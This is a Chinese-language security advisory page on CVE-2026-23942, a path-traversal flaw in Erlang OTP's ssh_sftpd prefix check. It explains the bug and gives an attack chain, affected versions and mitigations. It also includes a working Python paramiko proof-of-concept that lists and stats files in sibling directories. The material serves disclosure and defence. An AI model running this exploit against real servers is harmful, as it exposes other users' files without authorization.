IPBUF安全漏洞报告
English
CVE-2026-23942 CVSS 5.4 中危

CVE-2026-23942 Erlang OTP ssh_sftpd 路径遍历漏洞

披露日期: 2026-03-13
来源: 6b3ad84c-e1a6-4bf7-a703-f496b71e49db

漏洞信息

漏洞编号
CVE-2026-23942
漏洞类型
路径遍历 (Path Traversal)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Erlang OTP (ssh_sftpd module)

相关标签

路径遍历Path TraversalErlang OTPssh_sftpdSFTP目录遍历CVE-2026-23942lists:prefix中间件漏洞认证绕过

漏洞概述

Erlang OTP的ssh_sftpd模块存在路径遍历漏洞。该漏洞源于SFTP服务器在检查路径是否在配置的根目录内时,使用了字符串前缀匹配函数lists:prefix/2,而非正确的路径组件验证方式。由于字符串前缀匹配的逻辑缺陷,攻击者可以访问与配置根目录共享公共名称前缀的同级目录。例如,如果根目录设置为/home/user1,攻击者可以通过访问/home/user10或/home/user1_backup等路径来绕过目录限制,访问本应被禁止访问的目录内容。该漏洞需要低权限认证用户方可利用,CVSS评分5.4,影响OTP 17.0至28.4.1等多个版本。

技术细节

漏洞根源在于ssh_sftpd:is_within_root/2函数使用lists:prefix/2进行路径校验。lists:prefix/2是列表前缀匹配函数,它仅检查目标路径是否以根目录字符串开头,而不验证路径的各个组件是否真正位于根目录之下。攻击示例:设根目录为/home/user1,使用lists:prefix/2时,/home/user10和/home/user1_backup都会被错误地判定为在根目录内,因为它们都以/home/user1开头。正确做法应使用filename:split/1将路径分解为组件,再逐一验证每个组件均未跳出根目录范围。攻击者利用此漏洞可读取或操作SFTP服务器上根目录的兄弟目录中的文件,前提是目标目录名与根目录存在共同前缀且攻击者具有有效的SFTP认证凭据。

攻击链分析

STEP 1
1
攻击者获取目标SFTP服务器的合法用户凭据(低权限即可)
STEP 2
2
攻击者通过SFTP协议连接服务器,服务器使用ssh_sftpd模块处理请求
STEP 3
3
攻击者构造特殊路径请求,如/home/user10或/home/user1_backup,请求访问配置根目录/home/user1的兄弟目录
STEP 4
4
ssh_sftpd:is_within_root/2函数使用lists:prefix/2进行路径校验,将/home/user10误判为在/home/user1根目录内
STEP 5
5
由于路径被错误地认定为合法,SFTP服务器允许攻击者访问/home/user10等目录下的文件,导致敏感信息泄露或数据篡改

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-23942: Erlang OTP ssh_sftpd Path Traversal # Assuming SFTP server with root configured as /home/user1 # Attack: Access /home/user10 via path traversal using prefix match bypass import paramiko import sys def exploit_sftp(target_host, port, username, password, root_path='/home/user1'): """ Exploit path traversal in Erlang OTP ssh_sftpd. The vulnerability allows accessing sibling directories like /home/user10 because lists:prefix/2 treats /home/user10 as within /home/user1. """ try: transport = paramiko.Transport((target_host, port)) transport.connect(username=username, password=password) sftp = paramiko.SFTPClient.from_transport(transport) # Attempt to access sibling directory /home/user10 # lists:prefix/2 will match "/home/user1" in "/home/user10" sibling_path = root_path + '0' # becomes /home/user10 try: # Try to list contents of the sibling directory files = sftp.listdir(sibling_path) print(f'[+] Successfully accessed: {sibling_path}') print(f'[+] Files in sibling directory: {files}') # Try to read a file from the sibling directory for f in files: full_path = sibling_path + '/' + f try: # Attempt to read file attributes stat = sftp.stat(full_path) print(f' - {f}: size={stat.st_size}') except: pass except IOError as e: print(f'[-] Access denied or path not found: {sibling_path}') print(f'[-] Error: {e}') # Additional test: /home/user1_backup backup_path = root_path + '_backup' try: files = sftp.listdir(backup_path) print(f'[+] Successfully accessed: {backup_path}') print(f'[+] Files: {files}') except IOError as e: print(f'[-] Backup path not accessible: {backup_path}') sftp.close() transport.close() except Exception as e: print(f'[-] Connection failed: {e}') sys.exit(1) if __name__ == '__main__': if len(sys.argv) < 4: print(f'Usage: python {sys.argv[0]} <host> <port> <username> <password>') print(f'Example: python {sys.argv[0]} 192.168.1.100 22 sftp_user password') sys.exit(1) exploit_sftp(sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4])

影响范围

Erlang OTP 17.0 至 28.4.1
Erlang OTP 27.3.4.9
Erlang OTP 26.2.5.18
ssh 3.0.1 至 5.5.1
ssh 5.2.11.6
ssh 5.1.4.14

防御指南

临时缓解措施
在官方补丁发布前,可通过以下方式临时缓解:1) 限制SFTP用户的访问权限,确保其只能访问必要目录;2) 在SFTP服务器前端部署访问控制策略,限制用户可访问的路径范围;3) 避免使用存在共同前缀的目录名作为根目录和兄弟目录;4) 监控SFTP访问日志,检测异常的路径访问行为;5) 考虑使用chroot环境隔离SFTP用户访问空间。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表